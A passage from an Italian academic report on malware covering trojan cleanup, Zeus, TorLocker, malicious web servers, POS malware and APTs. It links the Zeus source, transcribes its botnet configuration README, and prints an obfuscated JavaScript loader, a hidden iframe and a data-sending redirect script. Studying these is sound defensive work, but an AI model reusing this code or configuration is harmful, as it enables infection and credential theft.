vengono terminati e la regione è liberata, la prossima volta che un processo tenta di chiamare una delle
funzioni hooked, fnirà per produrre una violazione di accesso dereferenziando 0x00000000 dallo spazio
heap liberato.
C'è un modo più semplice per pulire il sistema che non incorre in problemi di stabilità, ma è
molto effcace. Si può usare uno strumento come Process Explorer, [B-84] per chiudere l'handle a winlo-
gon.exe a ntos.exe.
Questo può essere fatto utilizzando la funzione "Trova Handle" e la ricerca di "ntos.exe.".
Figura 36: Ricerca con Process Explorer
Da qui, ntos.exe può essere eliminato; e una volta che il sistema viene riavviato, esso non sarà
più infetto. Questo perché dopo la rimozione ntos.exe dal disco, il trojan è soltanto residente in memoria.
I fle rimanenti e i valori del Registro individuati nel programma di rilevamento possono essere rimossi,
ma non causeranno danno al sistema una volta il codice trojan principale è disattivato.
(Al momento della stesura del documento, numerosi servizi di protezione rilevano il trojan, ma
molti ancora non lo fanno. La maggior parte lo rilevano come malware generico o un codice di back
door. Vi sono molte altre versioni un poco diverse; anche se senza dubbio scritte dagli stessi autori).
10.7 Il pacchetto Zbot/Zeus.

Il pacchetto con il codice è scaricabile dalla rete a questo indirizzo :
https://github.com/Visgean/Zeus. Sulla pagina web viene specifcato :
“Questo repository non contiene il mio codice ho caricato su GitHub per semplifcare il processo di otte-
nere ed analizzare il codice.”
Il testo del fle README è trascritto di seguito:
XVII
-----------------------------------------------------------------------------------------------------------------------------
This is version 2.0.8.9 downloaded from
http://www.mdl4.com/2011/05/download-zeus-source-code/
Third paragraph:
Setting up the bot

Step by step installation:
1) From your existing package assembly, run 'local \ cp.exe', is a builder and bot file
konifguratsii
2) Open the 'Builder'. Click 'Browse' and select the configuration file there, the name of MDM
'local \ config.txt'.
3) Click 'Edit config', as a result should start a text editor. Migrate the file like this:
First:
The source configuration file is a text file encoding in Windows, and is needed to create the final
configuration file (which is a binary file to download bot) and the bot. In your package assembly
sample configuration file must be located in the folder 'local' and be named config.txt. You can
open the file in a text editor such as 'Notepad' (Notepad).
The file consists of records, one record per line. Recording is composed of parameters, the first
parameter is the name commonly write (but not always, such as in cases when there is any data
transfer, no name). The parameters are separated by spaces, if the parameter is found in the space,
or a tab, this option must be enclosed in double quotes ("), the same rule applies to the name.
Unlimited number of parameters, and if the record has a name, it read insensitive
Examples:
username Kot Matroskin
recording name - username, option 1 - Kot, option 2 - Matroskin.
username "James" Bond "

recording name - username, option 1 - James, option 2 - Bond.
username "Volodia Putin"

recording name - username, option 1 - Volodia Putin.
"Url" "http://example.com/" index.php

recording name - url, option 1 - http://example.com/, option 2 - index.php
Also there are special names of entries that allow you to share the configuration file you want as
far as sub-sections, which can contain within itself any number of sub-sections and records. They
are called sections and consist of a name and a parameter determining the entry section name (case
is also not taken into account in this parameter), the end of the same section, indicated by
entering end. The documentation, nesting record in relation to sub-sections will be designated by
->. That is, Entries named username owned section userdata, will be designated as the userdata->
username, etc.
Examples:
entry "userdata"
fname "petia"
lname "lolkin"
end
entry compdata
name "pcvasya"
entry devices - the contents of this section, an example of when the record does not have a name,
there is a listing of devices.
cdrom
"Hdd"
fdd
end
end
Also, you can insert comments, comments must be in a separate line, and start with a ';'. If it
turns out that the first parameter in the record, too, begins with a ';', this parameter must be
enclosed in quotation marks.
Examples:
; Hello.I think that I'm hero!
; How are you /-it does not record
"; I love you" - and here it is already recording.
Second:
Configuration File Entries
The file consists of two sections StaticConfig and DynamicConfig.
StaticConfig, the values prescribed in this section directly to the bot file, ie in exe, and define
the basic behavior of the bot on a victim's computer.
Depending on your build, some details may not have value for you, all the significant parameters
prescribed in the example that came with the package assembly.
botnet [string] - specifies the name of a botnet, which owns the boat.
string - the name of a botnet to 4 characters, or 0 - for the default value.
Recommended value: botnet 0
XVIII
timer_config [number1] [number2] - determines the intervals through which to receive updatings
configuration file.
number1 - Specifies the time in minutes through which to update the configuration file, if
successful boot last time.
number2 - Specifies the time in minutes through which to update the configuration file, in case of
an error when loading the previous time.
Recommended value: timer_config 60 5
timer_logs [number1] [number1] - determines the intervals through which to send the accumulated
logs to the server.
number1 - Specifies the time in minutes through which to send the logs, in cases successfully sent
last time.
number2 - Specifies the time in minutes through which to send the logs, in case of an error in
sending previous time.
Recommended value: timer_logs February 2
timer_stats [number1] [number2] - determines the intervals through which to send statistics to the
server. (Includes inastally, finding in the online, open ports, services, socks, screenshots, etc.)
number1 - Specifies the time in minutes through which to send the statistics, in cases successfully
sent last time.
number2 - Specifies the time in minutes through which to send the statistics, in the case of an
error in sending previous times.
Recommended value: timer_logs 20 10
url_config [url] - URL that is located on the main configuration file, this is the most important
parametor if the infection kompyuetra victim on a URL will not be available this configuration, the
infection does not make sense.
url_compip [url] [number] - specifies the site where you can check your IP, is used to determine
the NAT.
url - specifies the URL of the web
number - Specifies the kolichetsvo bytes that enough to swing from the site to see in the
downloaded your IP.
blacklist_languages [number1] [number2] ... [chisloX] - specifies a list of language codes Windows,
for which the bot will always spyashem is in Safe Mode, ie it will not send the logs and
statistics, but will appeal to the configuration file.
chisloX - language code, for example RU - 1049, EN - 1033.
DynamicConfig, the values prescribed in this section, the final configuration file.
Depending on your build, some details may not have value for you, all the significant parameters
prescribed in the example that came with the package assembly.
url_loader [url] - specifies the URL, which you can download the update bot. This option is
relevant only if you are running the botnet new version of the bot and prescribed configuration of
him for the same URL, as the old configuration, in which case the old version of the bot will start
to upgrade by downloading the file specified in this record.
url_server [url] - specifies the URL, which will be sent to statistics, files, logs, etc. from the
computers of victims.
file_webinjects - defines a local file, which is a list of web izhektov. Description of the format
of this file can be found here
Subsection AdvancedConfigs - enumerates a list of the URL, which you can download a backup
configuration file, in the cases of the inaccessibility of the main file. It is recommended to fill
this subsection 1-3 URL, which will save the botnet from death in cases of unavailability of the
main configuration file, and the result is easy to transfer it to another server. Required files
exist on this URL is not required, then the main thing to be able to place the files on this URL.
Files should be mixed there only after the discovery of the main configuration file is not
available, but if you ever want to have the files on this URL, you should update them all in sync
with the main configuration file. The backup files can not not be distinguished from the core, and
are created in the same way.
Example:
entry "AdvancedConfigs"
"Http://url1/cdffd.ccc"
"Http://url2/cdf34.dc"
end
Subsection WebFilters - has two purposes:

enumerates a list of masks URL, which should be written down or removed from the log, regardless of
the type of request (GET, POST). If the first character of the mask is a '!', Then the coincidence
of the URL with this mask, the entry in the log will not be produced (eg mask! "*" Will ban entry
of URL, except those listed before it).
The mask URL, at the beginning of treatment which will sozdavatsya screenshots of pressing the left
mouse button (useful for bypassing the virtual keyboard). This mask URL should begin with the
character '@'.
Note: URL listed in this section, the value is ignored StaticConfig.ignore_http
Example:
entry "WebFilters"
, The log will be written by all the URL matching with this mask.
XIX
"Http://www.google.com/ *"
, The log will be written all the URL matching with this mask.
"! Http:// * yahoo.com / *"
And after the opening of this page will be created in the screenshots click the left mouse button.
"@ Http://www.rambler.ru/"
end
Subsection WebFakes - enumerates a list of transparent URL-redirects (fake) sites, a detailed

description of this topic can be found here
Subsection TanGrabber - determine the rules for TAN-grabber, a detailed description of this topic
can be found here
Subsection DnsMap - DNS list of changes to be made in the file% system32% \ drivers \ etc \ hosts.
Recording format: [IP] [domain].
IP - the new IP domain.
domain - the domain name for which changes IP. If the domain name begins with a '!', This domain
will have Dalen from the file, of course if it is found there. The value of IP and can be ignored
by anyone.
Example:
entry "dnsmap"
127.0.0.1 microsoft.com
192.168.0.1 google.com
0.0.0.0! Yahoo.com
end
Third:)
Then save the file.
== END of original Readme ====
This bot source only includes the bot generator and not the installer or the web server "Control
Center". For more Information look for Ice IX
-----------------------------------------------------------------------------------------------------------------------------
§ Paragrafo n. 5.1.2
10.8 Ransomware Torlocker

Informazioni dal sito di Karpesky [1].
Il ransomware TorLocker inizia il processo d’infezione decifrando la propria sezione
dati con una chiave AES da 256 bit, un meccanismo di crittografa praticamente impossibile da
craccare, e attivandola sul sistema dell’utente. I primi 4 byte della chiave crittografca vengono
utilizzati come campione ID unico e aggiunto alla fne dei fle criptati. Il malware viene poi co-
piato in una cartella temporanea e si crea una chiave di registro per l’autorun di questa copia.
Successivamente, il malware agisce in questo modo:
• Va alla ricerca di processi di sistema importanti e li chiude;
• Elimina tutti i punti di ripristino del sistema;
• Cripta i documenti Offce dell’utente, anche fle video e audio, immagini, cartelle, da-
tabase, copie di backup, chiavi crittografche della macchina virtuale, certifcati ed il
resto di fle presenti sull’hard disk e sulla rete;
• Apre una fnestra di dialogo in cui si richiede all’utente il pagamento di un riscatto
per decifrare i dati.
L’aspetto più grave è che TorLocker infetta ogni sistema in modo diverso per cui, an-
che se viene individuata la chiave in qualche maniera, quella chiave non può essere utilizzata
per decifrare i dati di altri sistemi. I cybercriminali danno agli utenti un ultimatum (di solito
72 ore) per pagare il riscatto, passato il quale i dati andranno perduti. I cybercriminali solita-
mente propongono diversi metodi di pagamento, anche in Bitcoin o attraverso siti Internet di
terze parti.
XX
Un attacco ransomware si diffonde soprattutto via email, mediante un allegato che può
essere un fle eseguibile, un documento o un’immagine. Quando viene aperto l’allegato, il mal-
ware prende possesso del sistema. Un ransomware può attivarsi anche a partire da un sito Inter-
net infetto dal malware.
§Paragrafo n.2.2.3.1
10.9 Web Servers che diffondono Malware
Analisi effettuate e presentate sul sito HoneyNet [31].

“Durante i loro studi, hanno incontrato molti URL dannosi. Hanno analizzato alcuni
di essi per fornire indicazioni su come questi server operano e che tipo di danno che possono
rappresentare per la vittima. “
Il sito di fan italiani del pianista jazz e compositore Keith Jarrett (http://www.keith-
jarrett.it) è un sito malevolo. E' stato trovato questo sito inviando la parola "Keith Jarrett" nella
categoria di musica al motore di ricerca Yahoo, ciò ha provocato il ritorno di questo URL nel
15 ° posto nella lista dei risultati. Il sito stesso è abbastanza semplice ed è illustrato nella fgura
. contiene testo, immagini e link, ma non contenuti multimediali.
XXI
Figura 37: Home page sito keithjarrett.it
E' stato scelto questo sito per un'analisi approfondita in quanto comprende alcuni
aspetti tipici di un server malevolo, come offuscamento, sfruttamento della posizione su un
server di provider centrale, e un tipico esempio di spyware che viene distribuito sfruttando
la popolarità. Oltre a questi elementi, contiene anche alcune tecniche più avanzate che sono
indirizzate a) nascondere l'attacco e b) aumentare la probabilità di successo dell'attacco.
L'exploit che si innesca sulla visita del sito Keith Jarrett non è contenuto direttamente
sulla pagina. E' stato trovato un frammento di codice JavaScript che "importa" l'exploit da un
altro server sulla pagina. Il frammento di codice è mostrato di seguito e inizialmente non por-
ta molto lontano dal momento che è offuscato:
<script language=JavaScript>
function dc(x)= st2 ns = "isiresearchsoft-com/cwyw" />
{var
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,17,21,4,60,32,52,45,13,28,0,0,
0,0,0,0,5,
42,57,37,41,48,62,59,56,24,46,31,38,12,3,27,19,1,39,36,6,26,44,20,9,33,34,0,0
,0,0,43,0,15,
53,40,8,2,54,16,7,0,14,23,18,11,22,58,35,51,50,29,25,47,10,30,55,49,61);for(j
=Math.ceil(l/b);j>0;j--)
{r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s)
{r+=String.fromCharCode(250^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}
dc('TaXRdJBCKAsZdLBysmDpjAdE2ksLdFdCKodbIjX52kBpjl7ZlAIxUxHSwocShxzrs_7SKjtR
loHysu9xURcpNUBRhx8pPLHSIjDCPoH5i_7SPoDRKltEsPVy2aXRdJBCKlM')\
</script>
XXII
Poiché il codice JavaScript deve essere convertito in testo in chiaro per "importare"
l'exploit, la routine di decifratura è inclusa all'interno del codice JavaScript. Ciò rende più faci -
le estrarre il testo in chiaro, che è mostrato di seguito:
<iframe src='http://crunet.biz/out.php' width='1' height='1'

style='visibility:
hidden;'></iframe>
Si tratta di un semplice iframe nascosto che include la pagina out.php dal current.biz
server. Da lì, sono stati osservati diversi reindirizzamenti e più offuscamento fno a quando
siamo stati in grado di visualizzare l'attuale codice exploit.
Un attacco che avviene tramite un oggetto ADOBD e poi eseguito tramite WScript.-
Shell o Shell.Application object (BID: 10652). Questo tipo di attacco è stato disabilitato da varie
patch di Microsoft ma se riesce attraverso vari stadi attacca varie vulnerabilità e trasferisce i
dati catturati sul fusso di web browsing ad un server esterno lddpaym.net.
Un altro Web Server anyboard.net
“E' stato scelto anyboard.net perchè include aspetti interessanti su come viene diffuso
i l malware. Questo sito permette di illustrare metodi utilizzati per non essere scoperti, ed
aspetto di ingegneria sociale”
L'attacco da anyboard.net dimostra che il gestore del sito web potrebbe non essere
sempre coinvolto nell'attacco. L'attacco è possibile perché l'applicazione web distribuita sul
server segue cattive pratiche che permettono al server di essere abusato dai suoi utenti. In
questo caso particolare, l'applicazione web consente agli utenti di inviare messaggi a un forum
thread, ma non sembra eseguire alcuna convalida dell'input sui messaggi caricati. Come risul-
tato, gli utenti malintenzionati possono inserire codice JavaScript dannoso. Sul Post 7933, que-
sto sembra essere accaduto in quanto un utente ha postato uno script per inserire un exploit
come illustrato nel frammento di codice HTML mostrato di seguito:
…
<div class="MessageBody"><font size=-1 face="Verdana"><script
src="http://www.impliedscripting.com/js/?
cl=90716&q=interracial+cuckold"></script>
<br ab><center><h1>Free
…
L'exploit segue lo stesso schema di quello trovato sul sito di Keith Jarrett. Il codice Ja -
vaScript offuscato, provoca diversi redirect e poi effettivamente fa scattare il vero exploit. Il
metodo di importazione, tuttavia, è diverso da quello sul sito Keith Jarrett . Invece di usare un
iframe che importa l'exploit, il codice JavaScript reindirizza l'utente alla pagina che contiene
l'exploit tramite l'applicazione di un reindirizzamento client-side . Se questo codice è combi-
nato con offuscamento, come in questo caso, è diffcile seguire il codice in modo automatico.
Questa tecnica illustra i tentativi per evitare il rilevamento e l'identifcazione degli attacchi.
<script language='javascript' STYLE="behavior:url(#default#clientCaps)"

ID="oCli entCaps">
var ref = document.referrer;
XXIII
var url = document.URL;
if (ref.indexOf('cache:') <= 0 && url.indexOf('cache:') <= 0) {
window.location.href='http://www.impliedscripting.com/spawn/?r=' +
escape(ref) + '&u=' + escape(url) + '&c=' +
escape(oClientCaps.connectionType) + '&cl=' + escape('90716') + '&q=' +
escape('interracial cuckold');
}
</script>
Inoltre una volta che l' exploit è riuscito e prende il controllo della macchina client, di
solito effettua una tranquilla e silenziosa installazione di malware che esegue successivamente
le sue azioni . L'exploit incontrato in anyboard.net è molto diverso. Applica la strategia di in-
gegneria sociale travestendosi come software anti-malware, che informa l'utente che esiste
il malware sulla macchina, e poi procede per invogliare l'utente ad acquistare una licenza di
questo "software anti-malware". La fgura mostra la notifca iniziale relativa al malware esi-
stente sulla macchina dell'utente. Si noti come il meccanismo di messaggistica assomiglia ai
messaggi del Microsoft Security Center. Poco dopo, il software procede per eseguire la scan-
sione della macchina e fornire informazioni specifche sul malware che "esiste" sulla macchina
dell'utente, come mostrato nella Figura 17. Per comodità, una fnestra pop-up suggerisce di ac-
quistare una licenza di questo "software anti-malware "on-line. Si accettano carte di credito.
Figura 38: Form da infezione web anyboard.net
XXIV
10.10 Il Malware POS
Da uno studio di TrustWave [49]
Che cos' è il Malware Point-Of-Sale (POS)
Il malware Point-of-sale (POS) è un software altamente personalizzabile scritto per identificare e aggregare i dati
dei titolari di carta (CHD) in essa inclusi . Secondo alcune stime, la violazioni dei dati che coinvolgono il malware
POS hanno fatto guadagnare milioni di dollari.
Come funziona il malware POS

Transazioni legittime con carta di pagamento
Per capire come il malware POS funzioni , si deve prima capire come avviene una transazione legittima con carta di
credito.
Quando un cassiere o cliente strisciano una carta, il sistema POS legge i dati di conto sulla striscia magnetica sul
retro della carta. Questi dati riferiti come tracce di dati, contengono ognuno diversi elementi dei dati.
I dati discrezionali sono PW (password) CVV (codice di verifica della carta) .
I commercianti spesso utilizzano un sistema POS basato su software per facilitare l'elaborazione dei pagamenti. Dal
momento che la sicurezza delle informazioni non è una loro competenza di base, né i commercianti né i loro gestori
POS (fornitori che installano e mantengono il software e sistemi POS) hanno una solida comprensione di come si
verificano violazioni dei dati o come prevenirli. Di conseguenza, i rivenditori sono spesso l'anello più debole nella
protezione di CHD.
Quando questi dati vengono letti dal dispositivo di ingresso (lettore di schede) possono avere luogo tre scenari:
1. I dati vengono inviati direttamente dal sistema POS alla banca del commerciante per l'acquisizione.
L'autorizzazione viene quindi inviata dalla banca direttamente al sistema POS.
2. I dati vengono inviati ad un server back-of-house (BOH) che funge da punto di aggregazione centrale per
tutti i sistemi POS in quella collocazione fisica. Il server BOH trasferisce poi i dati alla banca di
acquisizione del commerciante per l'autorizzazione. L'autorizzazione è poi inviato al server BOH, che poi
collega il messaggio al terminale POS appropriato.
3. I dati vengono inviati dal sistema POS a un server BOH e quindi ad un punto centrale di pagamento
attraverso una rete MPLS. I dati vengono inviati alla banca acquirente del commerciante per
l'autorizzazione. L'autorizzazione è poi rimandata allo switch centrale di pagamento, collegata al server
BOH appropriato tramite il MPLS e quindi inviata al sistema POS adeguato.
Lo scopo del malware POS

Il malware POS ha un solo obiettivo: rubare i dati dei titolari delle carte. Per fare questo, gli attaccanti devono
prima individuare un punto o più punti in cui i dati CHD siano in chiaro . Una volta che questa area di
opportunità è stata individuata, gli attaccanti in genere utilizzano uno di questi tre tipi di malware : keyloggers,
memory dumpers , network sniffers.
Keylogger per monitorare i dispositivi di input sul sistema di destinazione. Come indica il nome, questo è
normalmente la tastiera, ma può essere qualsiasi dispositivo di input compresi in questo caso i lettori di schede. Una
volta che i dati sono stati inseriti nel dispositivo di input mirato, il keylogger registra i dati e li invia ad un file .
Molti keylogger possono anche prendere screenshot della macchina infetta. Screenshots focalizzati sui dati acquisiti
al fine di acquisire password, nome utente o carta di pagamento.
Una volta che i dati sono stati inviati al file di output, questo può essere criptato, codificato o rimanere come testo
in chiaro. Questi dati vengono poi inviati ad un sistema controllato dagli aggressori da un meccanismo automatico .
In altri casi, l'attaccante recupera manualmente il file di output. I Keyloggers sono normalmente installati sul
terminale POS.
A volte , gli hacker utilizzano, keylogger commerciali, come ad esempio Ardamax Keylogger o Perfect
Keylogger. Oltre a fornire un ricco set di funzionalità, permettono gli attaccanti per raggiungere il loro obiettivo
senza scrivere codice.
Dumper della Memoria. Quando una carta di credito è strisciata, i dati restano in memoria per una frazione di
secondo prima di essere utilizzati dall'applicazione di pagamento. Molti fornitori di POS affermano che la loro
applicazione codifica i dati CHD in un momento , e probabilmente credono che questo sia vero. Tuttavia, prima che
i dati CHD possano essere crittografati da un'applicazione, risiedono in un buffer nella memoria prima di passare
alla parte della transazione che esegue la crittografia. Un dumper di memoria può essere installato sia sul sistema
POS o BOH o sullo switch di pagamento e colpire in una frazione di secondo copiando il contenuto in un file di
output.
I dumper di memoria si sono evoluti nel corso degli anni. La tendenza più significativa nel corso dell'anno 2013 è
stata quella con I centri di comando e controllo (C & C). Prima del 2013, questa funzionalità era quasi inesistente
per quanto riguarda i dumper di memoria. Tuttavia, come è stato visto, con una serie di importanti famiglie di
malware (Dexter, Alina, vSkimmer, ecc), C & C è diventata una caratteristica popolare. Ciò consente agli
aggressori di controllare più istanze del loro malware, eseguire ulteriore malware e aggiornare i loro dumper di
memoria da una singola postazione. In particolare, questo ha permesso agli aggressori di creare una botnet di
dumper di memoria.
XXV
Sniffer di rete possono essere installati sia sul POS che sul sistema BOH. Inserendo la scheda di interfaccia di rete
(NIC) in quello che viene chiamato "modalità promiscua", uno sniffer di rete in grado di monitorare tutto il traffico
sulla sua porzione specifica della rete. Quando i sistemi POS passano i dati CHD al server BOH per l'aggregazione
e la trasmissione alla banca acquirente per l'autorizzazione, i dati CHD sono copiati dai pacchetti di dati e inviati ad
un file di output. Anche se nei casi di questi ultimi anni non si è verificato l'uso di sniffer di rete legati al POS ,
rimangono comunque una minaccia.
Come viene installato il malware sui sistemi POS?

Per distribuire il malware, un utente malintenzionato deve prima ottenere l'accesso all'ambiente di destinazione.
Questo può includere di compromettere sistemi POS prima della loro installazione presso il sito del rivenditore o da
manomissioni fatte fisicamente sui sistemi, ma nelle indagini fatte il più delle volte è emerso che viene effettuato
ottenendo l'accesso utilizzando un programma di utilità di amministrazione remota. Esempi di queste utility
includono Remote Desktop (RDP o TERMSRV), Logmein, pcAnywhere o RealVNC. I team di supporto IT e i
gestori di sistemi POS utilizzano queste utilità per svolgere le funzioni amministrative remote legittime sui sistemi
POS e software. Se i canali di accesso remoto non sono garantiti, tuttavia, anche un utente malintenzionato può
utilizzarli per ottenere l'accesso al punto POS bersaglio.
Figura 39: Credenziali default sistemi POS
Il raggiungimento dell' accesso all'ambiente di destinazione è solo il primo passo. Un utente malintenzionato ha
anche bisogno di un nome utente e una password, preferibilmente per un account con privilegi di amministratore.
Troppo spesso un attaccante può semplicemente utilizzare le credenziali predefinite aggiunte durante l'installazione
del software POS. Nella tabella vengono mostrati i venditori POS più popolari e il loro rispettivo nome utente e la
password di default.
Con un programma di utilità di amministrazione remota aperta e il nome utente e la password amministrativa di
default , un utente malintenzionato può violare i sistemi POS in un attimo. Un tale scenario si presenta in più dell'
80 per cento dei POS compromessi. Inoltre, molte organizzazioni o gestori POS che mantengono i sistemi a più
livelli utilizzeranno un nome utente e una password comune per tutti i loro sistemi. Tale riutilizzo delle credenziali
può portare rapidamente ad una diffusa violazione anche in località geograficamente distanti.
È importante notare che il malware POS non ha quello che viene definito come un "meccanismo di propagazione."
Non è in grado di muoversi da un sistema all'altro come un worm. Sistemi POS non sono infettati attraverso comuni
punti di ingresso di malware, come ad esempio la navigazione web, visitando un sito infetto o utilizzando i siti di
social media come Facebook. Un utente malintenzionato deve installare intenzionalmente malware POS sul
sistema di destinazione e ha bisogno di privilegi amministrativi, per farlo.
Perché le soluzioni Anti-Virus non rilevano il malware POS ?

In primo luogo, è per la natura mirata del POS malware.
I criminali informatici modificano il malware nei loro laboratori fino a quando non riescono a creare un campione
che non viene rilevato dall' anti-virus utilizzato dall'organizzazione cui si rivolgono. Usano i siti di scansione anti-
virus sotterranei che, a differenza di VirusTotal (un servizio gratuito che analizza file sospetti ed URL), non
condividono i campioni con i fornitori di sicurezza. I campioni condivisi da VirusTotal consentono ai fornitori di
incorporare funzionalità di rilevamento nei loro prodotti.
Perché è limitato a sistemi POS, il malware POS è solo una piccola frazione del malware che esiste. Inoltre, non è
distribuito allo stesso modo come malware più convenzionale. non si diffonde tramite exploit worm in grado di
sfruttare i meccanismi di consegna kit o di ingegneria sociale. E con la distribuzione limitata di ogni famiglia di
malware POS, i fornitori di anti-virus non lo incontrano regolarmente e non ottengono informazioni sulle tecniche
di offuscamento degli autori, per migliorare i loro rilevamenti generici ed euristici.
In molti casi, il malware stesso può essere personalizzato per la rete di uno specifico target di ambiente POS.
Considerando tutti questi fattori, è facile capire perché gli autori di malware POS sono in grado di stare un passo
(O due) avanti nella corsa agli armamenti anti-virus. Un altro problema è la corretta attuazione e configurazione di
prodotti anti-virus. In molti casi è risultato che, mentre un anti-virus potrebbe essere stato installato su un
dispositivo, non è stato attivato, non è stato aggiornato o era scaduto.
Conclusione
Gli attacchi che coinvolgono malware POS sono motivati finanziariamente.
XXVI
I criminali informatici sono professionali, e si deve rispondere professionalmente alla gestione della sicurezza dei
dati.
• Deve essere fatta un'opera di valutazione della situazione e dell'ambiente.
• Maggiore informazione e preparazione sul problema malware e altri problemi di protezione dei dati delle
persone coinvolte.
• Applicare password complesse e modificare le password di default .
• Implementare l'autenticazione a due fattori per rafforzare la sicurezza di tutti i canali di accesso remoto.
• Sottoporre regolarmente a test di penetrazione per identificare le vulnerabilità prima che si arrivi alla
compronissione.
• Scansione e protezione dei dati nel database in cui sono conservati.
• Utilizzare un gateway Web protetto (SWG) e un sicuro gateway di posta elettronica (SEG) per evitare il
phishing, spear-phishing e altri attacchi basati su Web.
• Gestire i dati sensibili in un reparto separato non raggiungibile da attività accessibili pubblicamente.
• Sviluppare un piano per rispondere a un eventuale incidente.
§ Paragrafo n . 8
10.11 APT (Advanced Persistent Threat)

Per minaccia avanzata persistente ( Advanced Persistent Threat) si intende un attacco
a lungo termine, sofsticato e mirato a un oggetto specifco. L'autore dell'attacco è spesso sup-
portato da un'entità statale, con lo scopo di acquisire intelligence di valore elevato da altri go-
verni; ma l'attacco può anche essere eseguito, e riguardare, organizzazioni private. Questa
espressione è stata utilizzata per la prima volta dalla United States Air Force nel 2006.
Il National Institute of Standards and Technology (NIST), defnisce le APT come :

"La minaccia avanzata persistente è un avversario con livelli sofsticati di competenza e risorse
signifcative, che gli consentono, attraverso l'utilizzo di vettori di attacco multipli (come frode
e metodi informatici e fsici), di generare opportunità per raggiungere i propri obiettivi: questi
consistono tipicamente nello stabilire e ampliare punti di appoggio all'interno dell'infrastrut-
tura informatica delle organizzazioni, allo scopo di derivarne informazioni in modo continua-
tivo e/o di compromettere o ostacolare aspetti critici di una missione, programma o organiz -
zazione, o di mettersi in condizione di farlo in futuro. Inoltre, la minaccia avanzata persistente
persegue i propri obiettivi ripetutamente per un periodo di tempo prolungato, adattandosi
agli sforzi di un difensore per resisterle, e con lo scopo di mantenere il livello di interazione
necessario per eseguire i propri obiettivi".
• Avanzata: l'autore dell'attacco dispone di notevoli capacità tecniche per sfruttare le vulnera-
bilità del bersaglio. Questo può includere accesso a database di vulnerabilità di grandi dimen -
sioni, exploit e competenze di codifca, ma anche la capacità di scoprire e sfruttare vulnerabili-
tà precedentemente sconosciute.
• Persistente: le APT spesso restano attive per un periodo prolungato di tempo. A differenza
degli attacchi a breve termine, che sfruttano opportunità temporanee, le APT possono durare
anche anni. Possono impiegare vettori di attacco multipli, dagli attacchi basati su Internet al -
l'ingegneria sociale. Violazioni della sicurezza minori possono essere combinate, nel tempo,
per ottenere accesso a dati più signi cativi.
• Minaccia: l'esistenza di una minaccia implica che l'autore dell'attacco abbia la motivazione e
le capacità per eseguire un attacco con successo .
XXVII
Gli strumenti puramente automatizzati non sono considerati APT di per sé, anche se possono
essere utilizzati da un gruppo organizzato e coordinato, come parte di un attacco più ampio
[B-86].
___________________________
XXVIII
11 Bibliografia
[B-1] ANDERSON, R. MOORE T., The economics of Information Security, Science ,

vol. 314(5799), pp. 610-613, 2006.
[B-2] BACKES, M.,KOPF, B., AND RYBALCHENKO, A. 2009. Automatic discovery and quantifica
tion of information leaks. In Proceedings of the 30th IEEE Symposium on Security and Pri
vacy. IEEE Computer Society, Los Alamitos, CA, 141–153.
[B-3] BAECHER, P. AND KOETTER, M. x86 shellcode detection and emulation.

http://libemu.mwcollect.org/
[B-4] BARFORD, P. AND YEGNESWARAN V. 2009. An Inside Look at Botnets, Special

Workshop on malware Detection, Advances in Information Security, Springer Verlag.
[B-5] BAYER, U.,MOSER, A., KR ̈ UGEL, C., AND KIRDA, E. 2006. Dynamic analysis of
malicious code. J. Comput. Virology2, 1, 67–77.
[B-6] BELLARD, F. 2005. QEMU, a fast and portable dynamic translator. In Proceedings of the
FREENIX Track of the USENIX Annual Technical Conference.
[B-7] BUEHLMANN, S. AND LIEBCHEN, C. Joebox: a secure sandbox application for Windows to
analyse the behaviour of malware. http://www.joebox.org/
[B-8] CACHEDA, F. AND VINA A. 2001. Experiencies retrieving information in the World Wide
Web. In Proceedings of the 6th IEEE Symposium on Computers and Communications
(ISCC’01). IEEE Computer Society, 72–79.
[B-9] CAVALLARO, L., SAXENA, P., AND SEKAR, R. 2008. On the limits of information flow tech
niques for malware analysis and containment. In Proceedings of the 5th International Confer
ence on Detection of Intrusions and malware, and Vulnerability Assessment (DIMVA). 143–
163.
[B-10]CHEN, X., ANDERSEN, J., MAO, Z., BAILEY, M., AND NAZARIO, J. 2008. Towards an un
derstanding of anti- virtualization and anti-debugging behavior in modern malware. In Pro
ceedings of the IEEE International Conference on Dependable Systems and Networks With
FTCS and DCC (DSN’08). 177–186.
[B-11] CHRISTODORESCU, M., JHA, S., AND KRUEGEL, C. 2007. Mining specifications of mali
cious behavior. In Proceedings of the 6th Joint Meeting of the European Software Engineering
Conference and the ACM SIGSOFT International Symposium on Foundations of Software En
gineering. 5–14.
[B-12] CHOW, J., PFAFF, B., GARFINKEL, T., CHRISTOPHER, K., AND ROSENBLUM, M. 2004.
Understanding data lifetime via whole system simulation. In Proceedings of the 13th
USENIX Security Symposium.
[B-13] CRANDALL, J. R. AND CHONG, F. T. 2004. Minos: Control data attack prevention orthogon
al to memory model. In Proceedings of the 37th International Symposium on Microarchitec
ture.
[B-14] DANIEL, M., HONOROFF J., AND MILLER C. 2008. Engineering heap overflow exploits
with javascript. In Proceedings of the 2nd USENIX Workshop on Offensive Technologies
(WOOT’08).
XXIX
[B-15] DEBARATI, A., JAINSHANKAR, K. 2011. Cyber Crime and the Victimization of Women:
Laws, Rights and Regulations.
[B-16] EGELE, M., SCHOLTE T., KIRDA E., KRUEGEL C., 2012 .
A Survey on Automated Dynamic malware-Analysis Techniques and Tools
https://iseclab.org/papers/malware_survey.pdf
[B-17] ENISA-CIIP-STD-Botnets Detection,Measurement,Disinfection&Defence-Eng-2011
[B-18] FERRIE, P. 2007. Attacks on virtual machine emulators.
[B-19] GARFINKEL, T., ADAMS, K., WARFIELD, A., AND FRANKLIN, J. 2007. Compatibility is
Not Transparency: VMM Detection Myths and Realities. In Proceedings of the 11th Workshop
on Hot Topics in Operating Systems (HotOS-XI).
[B-21] GOLDBERG, R. P. 1974. Survey of virtual machine research. IEEE Comput. Mag. June, 34–
45.
[B-22] HALDAR, V., CHANDRA, D., AND FRANZ, M. 2005. Dynamic taint propagation for Java.
In Proceedings of the 21st Annual Computer Security Applications Conference (ACSAC). 303–
311.
[B-22] HUNT, G. AND BRUBACHER, D. 1999. Detours: binary interception of Win32 functions. In
Proceedings of the 3rd USENIX Windows NT Symposium. USENIX Association, Berkeley, CA,
135–143.
[B-23] INOUE, D., YOSHIOKA, K., ETO, M., HOSHIZAWA, Y., AND NAKAO, K. 2008. Malware
behavior analysis in isolated miniature network for revealing malware’s network activity. In
